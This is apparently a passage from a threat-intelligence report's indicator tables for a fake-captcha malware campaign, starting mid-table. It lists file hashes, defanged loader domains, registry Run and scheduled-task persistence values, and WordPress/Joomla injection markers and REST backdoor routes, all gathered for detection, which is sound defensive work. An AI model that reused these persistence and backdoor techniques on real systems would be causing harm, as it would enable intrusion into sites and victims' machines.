| Server and age | nginx/1.24.0 (Ubuntu), domain younger than two days, Spaceship name servers |
Loader, command | Cluster; low specificity alone, combine with naming scheme; September payload hosts used nginx/1.18.0 |
| Decoy title | Small-business titles, e.g. “Bright Smile Dental”, “Apex Builders” | Loader | Cluster; root page of loader hosts; combine with domain age |
| Content marker | captcha-css, cf-used-at, newClickCount, I18N_DICT in one script |
Overlay | Campaign; matches both observed overlays; YARA or proxy content rules |
Files
Retrospective value only: loaders change daily, the overlay hash changes with every command string, and the HTA stager carries random padding.
| Sample | SHA-256 | Note |
|---|---|---|
audit-stylesheet.js |
20ecb0043dd50a4b17b67500ebe789fadbc837fbffd7543d6eeaab4fc2dbc74b |
4,764 bytes; 14 October |
route-server.js |
c383bb16840edc79c266e04578b8fb698b2349a50595bed58654ad890af35c16 |
4,752 bytes; 15 October |
scope-ajax.js |
45af1c656da43105ba1783e3eac188f802328d20c0eb6bb8a83cbfc62eab1c74 |
1,730,116 bytes; 14 October |
legacy-partial.js |
73786d1b47bfbbbc1183da7c90d01ffbedd57bae8c0e7db7dcc72fab59f90be0 |
321,007 bytes; news.pieset[.]co, 15 October |
legacy-partial.js |
bd1b453e98e0877d2ecb4a54a0631a30cb86b0012e01575cd4164404fdacc7b5 |
Identical to 14 October overlay except command string |
NHEWS.hta |
606023fd6018fb2e34df742e0d8456c2fe75a71738dd844a99365e13c3e728c3 |
66,558 bytes; ~64 KB random comment padding |
PROSSS.hta |
f401555d44747c10c0b29d7d307c54cdf62ccb6e69ceb33ccbd72872838d8faa |
79,383 bytes; 29 September set, public sample archive, decoded statically |
Host and Browser
| Type | Value | Note |
|---|---|---|
| File path | %LOCALAPPDATA%\NHEWS.hta |
Written by curl; name set per overlay build, same in both overlays |
| File path | %LOCALAPPDATA%\<digits>\<digits>.pdf |
Random numeric names from the HTA stager; archive, not a PDF; 29 September set used Documents\<digits>\<digits>.pdf |
| File path | Documents\<digits>\KCrashReporter_x64.exe with RwcShl64.dll, drive4.dll, libservice-blender.dll |
Extracted Qt5/SDL3 bundle of the 29 September set; one of the three DLLs is side-loaded |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run value XnView Crash Reporter |
RAT persistence, 29 September set; points into Documents\<digits>\ |
| Scheduled task | \XnView Crash Reporter, logon trigger, 3 s delay |
RAT persistence, 29 September set; same target as the Run value |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU value containing /v:on and -skLo |
Pasted clipboard command from the Win+R step |
| localStorage key | ENV_201021, ENV_20102142 |
Loader timestamp, 24-hour lock; name changes per loader build |
| localStorage key | cf-used-at |
Overlay re-display lock, removed by the loader |
| DOM string | <style id="captcha-css"> |
Tailwind CSS injected by the overlay |
Compromised Site
| Type | Value | Note |
|---|---|---|
| Joomla database | Script tag in #__menu attribute or CSS class field, followed by "> |
Appears in every sp-menu-item (Helix Ultimate); old and new loader tags side by side |
| WordPress DOM marker | <span hidden data-wal-hash="<md5>"> |
Before </body>, followed by loader tag and inline sync script |
| WordPress DOM marker | <span hidden data-wsm-hash="<md5>"> |
Variant on four sites |
| REST route | /wp-json/wal/v1/footer, index.php?rest_route=/wal/v1/footer |
WordPress REST backdoor, returns {content, hash} |
| REST route | /wp-json/wsm/v1/footer |
Variant |
| MD5 (loader tag) | d0ccee18f7f5d699e279e3b5986e2a25 |
sallowcloister[.]co |
| MD5 (loader tag) | 55675e2901720a13829744f46bab09bc |
cloveranthology[.]org |
| MD5 (loader tag) | e0bbdf33ca66834161d12abbbf95a7a9 |
planetreeapse[.]co |
| MD5 (loader tag) | 5ce0d4c88b56beb6bca62528c8e93da1 |
ginkgoloft[.]co |
| MD5 (loader tag) | ccbb15afe89c0d36d6d6f485d5373db5 |
aspentraverse[.]co |
| MD5 (loader tag) | 4770b8f9e5c47563ee61491b609164b2 |
bayberrygalleon[.]cc |
| MD5 (loader tag) | 8c5548205e01cba6f8603d4298d0402e |
bayberrygalleon[.]cc |
| MD5 (loader tag) | aaa378a43374401abd74372362fe86f5 |
ginkgoloft[.]co (wsm variant) |